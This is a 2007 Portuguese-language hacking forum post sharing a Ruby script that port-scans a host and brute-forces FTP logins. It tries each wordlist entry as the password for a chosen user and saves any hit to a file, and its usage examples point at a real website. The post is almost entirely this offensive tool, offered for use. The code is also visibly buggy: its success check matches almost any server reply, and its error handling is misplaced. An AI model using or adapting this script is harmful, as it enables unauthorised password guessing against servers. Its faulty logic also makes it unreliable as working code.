Ruby, ftp bruteforce ( mymoon )

Iniciado por branco, 04 de Março , 2007, 11:32:59 AM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

branco

require 'socket'
include Socket::Constants
             
def erro
puts 'example : Akatsuki -s www.darkers.com.br 1 100'
puts 'example : Akatsuki -bf www.darkers.com.br Administrator c:\list1.txt c:\list2.txt'
end

def Con(a)
socket = TCPSocket.open(ARGV[1],a)
begin
rescue Errno::ECONNREFUSED, Errno::ETIMEDOUT
$result = "Porta #{a} fexada"
end
if $result != "Porta #{a} fexada"
puts "Porta #{a} aberta"
end
end

def scant
begin
if ARGV.length > 3
if ARGV[2] > ARGV[3]
puts "port ini > port termi, use exemple : 1 100"
end
for a in ARGV[2]..ARGV[3]
Con(a)
end
else
erro
end
rescue => exec
puts "error, please verifies the arguments #{exec}"
end
end

def bf(linha)
puts linha
$sock.puts "pass #{linha}"
if /["OK"]/ =~ $sock.gets
f = File.new('login.txt', 'w')
f.puts "user Administrator, pass #{linha}"
f.close_write
puts "sucess, user #{ARGV[2]}, pass #{linha}"
puts "save in login.txt"
self.exit
end
end

def bruteforce(word)
begin
if ARGV.length > 3
$sock = TCPSocket.open(ARGV[1], 21)
$sock.gets
$sock.puts "user #{ARGV[2]}"
$sock.gets
File.open(word) do |handle|
handle.each_line do |linha|
bf(linha)
end
end
$sock.close
puts "password not found in #{word}"
else
erro
end
rescue
end
end

if ARGV[0] == "-s"
scant
elsif ARGV[0] == "-bf" and ARGV.length > 3
for a in 3...ARGV.length
if File.exist? ARGV[a]
bruteforce(ARGV[a])
else
puts "#{ARGV[a]} not found"
end
end
else
erro
end
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?